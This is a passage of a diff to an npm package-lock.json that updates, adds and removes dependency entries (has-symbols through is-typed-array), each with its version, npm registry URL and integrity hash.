"sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", "requires": { - "has-symbols": "^1.0.2" + "has-symbols": "^1.0.3" } }, - "has-unicode": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", - "integrity": "sha1-4Ob+aijPUROIVeCG0Wkedx3iqLk=", - "dev": true, - "optional": true, - "peer": true - }, "hash-base": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-3.1.0.tgz", @@ -25879,10 +22281,18 @@ "minimalistic-assert": "^1.0.1" } }, + "hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "requires": { + "function-bind": "^1.1.2" + } + }, "highlight.js": { - "version": "11.6.0", - "resolved": "https://registry.npmjs.org/highlight.js/-/highlight.js-11.6.0.tgz", - "integrity": "sha512-ig1eqDzJaB0pqEvlPVIpSSyMaO92bH1N2rJpLMN/nX396wTpDA4Eq0uK+7I/2XG17pFaaKE0kjV/XPeGt7Evjw==" + "version": "11.11.1", + "resolved": "https://registry.npmjs.org/highlight.js/-/highlight.js-11.11.1.tgz", + "integrity": "sha512-Xwwo44whKBVCYoliBQwaPvtd/2tYFkRQtXDWj1nackaV2JPXx3L0+Jvd8/qCJ2p+ML0/XVkJ2q+Mr+UVdpJK5w==" }, "hmac-drbg": { "version": "1.0.1", @@ -25902,21 +22312,13 @@ "react-is": "^16.7.0" } }, - "hosted-git-info": { - "version": "2.8.9", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz", - "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==", - "dev": true, - "optional": true, - "peer": true - }, "html-encoding-sniffer": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-3.0.0.tgz", - "integrity": "sha512-oWv4T4yJ52iKrufjnyZPkrN0CH3QnrUqdB6In1g5Fe1mia8GmF36gnfNySxoZtxD5+NmYw1EElVXiBk93UeskA==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-4.0.0.tgz", + "integrity": "sha512-Y22oTqIU4uuPgEemfz7NDJz6OeKf12Lsu+QC+s3BVpda64lTiMYCyGwg5ki4vFxkMwQdeZDl2adZoqUgdFuTgQ==", "dev": true, "requires": { - "whatwg-encoding": "^2.0.0" + "whatwg-encoding": "^3.1.1" } }, "html-escaper": { @@ -25925,46 +22327,14 @@ "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", "dev": true }, - "http-cache-semantics": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.0.tgz", - "integrity": "sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ==" - }, - "http-errors": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz", - "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", - "requires": { - "depd": "2.0.0", - "inherits": "2.0.4", - "setprototypeof": "1.2.0", - "statuses": "2.0.1", - "toidentifier": "1.0.1" - }, - "dependencies": { - "depd": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", - "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==" - } - } - }, - "http-https": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/http-https/-/http-https-1.0.0.tgz", - "integrity": "sha512-o0PWwVCSp3O0wS6FvNr6xfBCHgt0m1tvPLFOCc2iFDKTRAXhB7m8klDf7ErowFH8POa6dVdGatKU5I1YYwzUyg==" - }, "http-proxy-agent": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz", - "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==", + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", + "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==", "dev": true, - "optional": true, - "peer": true, "requires": { - "@tootallnate/once": "1", - "agent-base": "6", - "debug": "4" + "agent-base": "^7.1.0", + "debug": "^4.3.4" } }, "http-signature": { @@ -25977,34 +22347,18 @@ "sshpk": "^1.7.0" } }, - "http2-wrapper": { - "version": "2.1.11", - "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-2.1.11.tgz", - "integrity": "sha512-aNAk5JzLturWEUiuhAN73Jcbq96R7rTitAoXV54FYMatvihnpD2+6PUgU4ce3D/m5VDbw+F5CsyKSF176ptitQ==", - "requires": { - "quick-lru": "^5.1.1", - "resolve-alpn": "^1.2.0" - }, - "dependencies": { - "quick-lru": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", - "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==" - } - } - }, "https-browserify": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/https-browserify/-/https-browserify-1.0.0.tgz", "integrity": "sha1-7AbBDgo0wPL68Zn3/X/Hj//QPHM=" }, "https-proxy-agent": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", - "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz", + "integrity": "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==", "dev": true, "requires": { - "agent-base": "6", + "agent-base": "^7.1.2", "debug": "4" } }, @@ -26014,28 +22368,18 @@ "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==", "dev": true }, - "humanize-ms": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/humanize-ms/-/humanize-ms-1.2.1.tgz", - "integrity": "sha1-xG4xWaKT9riW2ikxbYtv6Lt5u+0=", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "ms": "^2.0.0" - } - }, "humps": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/humps/-/humps-2.0.1.tgz", "integrity": "sha1-3QLqYIG9BWjcXQcxhEY5V7qe+ao=" }, "iconv-lite": { - "version": "0.4.24", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", - "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "devOptional": true, "requires": { - "safer-buffer": ">= 2.1.2 < 3" + "safer-buffer": ">= 2.1.2 < 3.0.0" } }, "icss-utils": { @@ -26045,30 +22389,15 @@ "dev": true, "requires": {} }, - "idna-uts46-hx": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/idna-uts46-hx/-/idna-uts46-hx-2.3.1.tgz", - "integrity": "sha512-PWoF9Keq6laYdIRwwCdhTPl60xRqAloYNMQLiyUnG42VjT53oW07BXIRM+NK7eQjzXjAk2gUvX9caRxlnF9TAA==", - "requires": { - "punycode": "2.1.0" - }, - "dependencies": { - "punycode": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.0.tgz", - "integrity": "sha512-Yxz2kRwT90aPiWEMHVYnEf4+rhwF1tBmmZ4KepCP+Wkium9JxtWnUm1nqGwpiAHr/tnTSeHqr3wb++jgSkXjhA==" - } - } - }, "ieee754": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==" }, "ignore": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.0.tgz", - "integrity": "sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ==", + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.0.tgz", + "integrity": "sha512-g7dmpshy+gD7mh88OC9NwSGTKoc3kyLAZQRU1mt53Aw/vnvfXnbC+F/7F7QoYVKbV+KNvJx8wArewKy1vXMtlg==", "dev": true }, "immediate": { @@ -26077,9 +22406,9 @@ "integrity": "sha512-HR7EVodfFUdQCTIeySw+WDRFJlPcLOJbXfwwZ7Oom6tjsvZ3bOkCDJHehQC3nxJrv7+f9XecwazynjU8e4Vw3Q==" }, "immutable": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/immutable/-/immutable-4.0.0.tgz", - "integrity": "sha512-zIE9hX70qew5qTUjSS7wi1iwj/l7+m54KWU247nhM3v806UdGj1yDndXj+IOYxxtW9zyLI+xqFNZjTuDaLUqFw==", + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/immutable/-/immutable-5.0.3.tgz", + "integrity": "sha512-P8IdPQHq3lA1xVeBRi5VPqUm5HDgKnx0Ru51wZz5mjxHr5n3RWhjIpOFU7ybkUxfB+5IToy+OLaHYDBIWsv+uw==", "dev": true }, "import-fresh": { @@ -26102,49 +22431,6 @@ "resolve-cwd": "^3.0.0" }, "dependencies": { - "find-up": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", - "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", - "dev": true, - "requires": { - "locate-path": "^5.0.0", - "path-exists": "^4.0.0" - } - }, - "locate-path": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", - "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", - "dev": true, - "requires": { - "p-locate": "^4.1.0" - } - }, - "p-limit": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", - "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", - "dev": true, - "requires": { - "p-try": "^2.0.0" - } - }, - "p-locate": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", - "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", - "dev": true, - "requires": { - "p-limit": "^2.2.0" - } - }, - "path-exists": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", - "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", - "dev": true - }, "pkg-dir": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", @@ -26162,22 +22448,6 @@ "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=", "dev": true }, - "indent-string": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", - "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", - "dev": true, - "optional": true, - "peer": true - }, - "infer-owner": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz", - "integrity": "sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==", - "dev": true, - "optional": true, - "peer": true - }, "inflight": { "version": "1.0.6", "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", @@ -26194,34 +22464,22 @@ "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" }, "internal-slot": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.3.tgz", - "integrity": "sha512-O0DB1JC/sPyZl7cIo78n5dR7eUSwwpYPiXRhTzNxZVAMUuB8vlnRFyLxdrVToks6XPLVnFfbzaVd5WLjhgg+vA==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.1.0.tgz", + "integrity": "sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==", + "dev": true, "requires": { - "get-intrinsic": "^1.1.0", - "has": "^1.0.3", - "side-channel": "^1.0.4" + "es-errors": "^1.3.0", + "hasown": "^2.0.2", + "side-channel": "^1.1.0" } }, "interpret": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/interpret/-/interpret-2.2.0.tgz", - "integrity": "sha512-Ju0Bz/cEia55xDwUWEa8+olFpCiQoypjnQySseKtmjNrnps3P+xfpUmGr90T7yjlVJmOtybRvPXhKMbHr+fWnw==", + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/interpret/-/interpret-3.1.1.tgz", + "integrity": "sha512-6xwYfHbajpoF0xLW+iwLkhwgvLoZDfjYfoFNu8ftMoXINzwuymNLd9u/KmwtdT2GbR+/Cz66otEGEVVUHX9QLQ==", "dev": true }, - "ip": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/ip/-/ip-1.1.5.tgz", - "integrity": "sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo=", - "dev": true, - "optional": true, - "peer": true - }, - "ipaddr.js": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", - "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==" - }, "is-arguments": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.1.1.tgz", @@ -26231,57 +22489,87 @@ "has-tostringtag": "^1.0.0" } }, + "is-array-buffer": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.5.tgz", + "integrity": "sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==", + "dev": true, + "requires": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "get-intrinsic": "^1.2.6" + } + }, "is-arrayish": { "version": "0.2.1", "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", "integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=", "dev": true }, - "is-bigint": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.0.4.tgz", - "integrity": "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==", + "is-async-function": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-async-function/-/is-async-function-2.1.1.tgz", + "integrity": "sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==", + "dev": true, "requires": { - "has-bigints": "^1.0.1" + "async-function": "^1.0.0", + "call-bound": "^1.0.3", + "get-proto": "^1.0.1", + "has-tostringtag": "^1.0.2", + "safe-regex-test": "^1.1.0" } }, - "is-binary-path": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", - "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "is-bigint": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.1.0.tgz", + "integrity": "sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==", "dev": true, "requires": { - "binary-extensions": "^2.0.0" + "has-bigints": "^1.0.2" } }, "is-boolean-object": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.1.2.tgz", - "integrity": "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==", + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.2.2.tgz", + "integrity": "sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==", + "dev": true, "requires": { - "call-bind": "^1.0.2", - "has-tostringtag": "^1.0.0" + "call-bound": "^1.0.3", + "has-tostringtag": "^1.0.2" } }, "is-callable": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.4.tgz", - "integrity": "sha512-nsuwtxZfMX67Oryl9LCQ+upnC0Z0BgpwntpS89m1H/TLF0zNfzfLMV/9Wa/6MZsj0acpEjAO0KF1xT6ZdLl95w==" + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz", + "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==" }, "is-core-module": { - "version": "2.9.0", - "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.9.0.tgz", - "integrity": "sha512-+5FPy5PnwmO3lvfMb0AsoPaBG+5KHUI0wYFXOtYPnVVVspTFUuMZNfNaNVRt3FZadstu2c8x23vykRW/NBoU6A==", + "version": "2.16.1", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz", + "integrity": "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==", + "requires": { + "hasown": "^2.0.2" + } + }, + "is-data-view": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-data-view/-/is-data-view-1.0.2.tgz", + "integrity": "sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==", + "dev": true, "requires": { - "has": "^1.0.3" + "call-bound": "^1.0.2", + "get-intrinsic": "^1.2.6", + "is-typed-array": "^1.1.13" } }, "is-date-object": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.5.tgz", - "integrity": "sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.1.0.tgz", + "integrity": "sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==", + "dev": true, "requires": { - "has-tostringtag": "^1.0.0" + "call-bound": "^1.0.2", + "has-tostringtag": "^1.0.2" } }, "is-extglob": { @@ -26290,6 +22578,15 @@ "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", "dev": true }, + "is-finalizationregistry": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-finalizationregistry/-/is-finalizationregistry-1.1.1.tgz", + "integrity": "sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==", + "dev": true, + "requires": { + "call-bound": "^1.0.3" + } + }, "is-fn": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-fn/-/is-fn-1.0.0.tgz", @@ -26334,13 +22631,11 @@ "resolved": "https://registry.npmjs.org/is-hex-prefixed/-/is-hex-prefixed-1.0.0.tgz", "integrity": "sha1-fY035q135dEnFIkTxXPggtd39VQ=" }, - "is-lambda": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-lambda/-/is-lambda-1.0.1.tgz", - "integrity": "sha1-PZh3iZ5qU+/AFgUEzeFfgubwYdU=", - "dev": true, - "optional": true, - "peer": true + "is-map": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/is-map/-/is-map-2.0.3.tgz", + "integrity": "sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==", + "dev": true }, "is-nan": { "version": "1.3.2", @@ -26352,9 +22647,10 @@ } }, "is-negative-zero": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.1.tgz", - "integrity": "sha512-2z6JzQvZRa9A2Y7xC6dQQm4FSTSTNWjKIYYTt4246eMTJmIo0Q+ZyOsU66X8lxK1AbB92dFeglPLrhwpeRKO6w==" + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.3.tgz", + "integrity": "sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==", + "dev": true }, "is-number": { "version": "7.0.0", @@ -26363,23 +22659,15 @@ "dev": true }, "is-number-object": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.6.tgz", - "integrity": "sha512-bEVOqiRcvo3zO1+G2lVMy+gkkEm9Yh7cDMRusKKu5ZJKPUYSJwICTKZrNKHA2EbSP0Tu0+6B/emsYNHZyn6K8g==", + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.1.1.tgz", + "integrity": "sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==", + "dev": true, "requires": { - "has-tostringtag": "^1.0.0" + "call-bound": "^1.0.3", + "has-tostringtag": "^1.0.2" } }, - "is-object": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-object/-/is-object-1.0.2.tgz", - "integrity": "sha512-2rRIahhZr2UWb45fIOuvZGpFtz0TyOZLf32KxBbSoUCeZR495zCKlWUKKUByk3geS2eAs7ZAABt0Y/Rx0GiQGA==" - }, - "is-plain-obj": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz", - "integrity": "sha1-caUMhCnfync8kqOQpKA7OfzVHT4=" - }, "is-plain-object": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", @@ -26396,23 +22684,31 @@ "dev": true }, "is-regex": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.4.tgz", - "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==", + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.2.1.tgz", + "integrity": "sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==", + "dev": true, "requires": { - "call-bind": "^1.0.2", - "has-tostringtag": "^1.0.0" + "call-bound": "^1.0.2", + "gopd": "^1.2.0", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" } }, - "is-retry-allowed": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/is-retry-allowed/-/is-retry-allowed-1.2.0.tgz", - "integrity": "sha512-RUbUeKwvm3XG2VYamhJL1xFktgjvPzL0Hq8C+6yrWIswDy3BIXGqCxhxkc30N9jqK311gVU137K8Ei55/zVJRg==" + "is-set": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/is-set/-/is-set-2.0.3.tgz", + "integrity": "sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==", + "dev": true }, "is-shared-array-buffer": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.1.tgz", - "integrity": "sha512-IU0NmyknYZN0rChcKhRO1X8LYz5Isj/Fsqh8NJOSf+N/hCOTwy29F32Ik7a+QszE63IdvmwdTPDd6cZ5pg4cwA==" + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.4.tgz", + "integrity": "sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==", + "dev": true, + "requires": { + "call-bound": "^1.0.3" + } }, "is-stream": { "version": "2.0.1", @@ -26421,31 +22717,32 @@ "dev": true }, "is-string": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.7.tgz", - "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==", + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.1.1.tgz", + "integrity": "sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==", + "dev": true, "requires": { - "has-tostringtag": "^1.0.0" + "call-bound": "^1.0.3", + "has-tostringtag": "^1.0.2" } }, "is-symbol": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.4.tgz", - "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==", + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.1.1.tgz", + "integrity": "sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==", + "dev": true, "requires": { - "has-symbols": "^1.0.2" + "call-bound": "^1.0.2", + "has-symbols": "^1.1.0", + "safe-regex-test": "^1.1.0" } }, "is-typed-array": { - "version": "1.1.8", - "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.8.tgz", - "integrity": "sha512-HqH41TNZq2fgtGT8WHVFVJhBVGuY3AnP3Q36K8JKXUxSxRgk/d+7NjmwG2vo2mYmXK8UYZKu0qH8bVP5gEisjA==", + "version": "1.1.15", + "resolved": 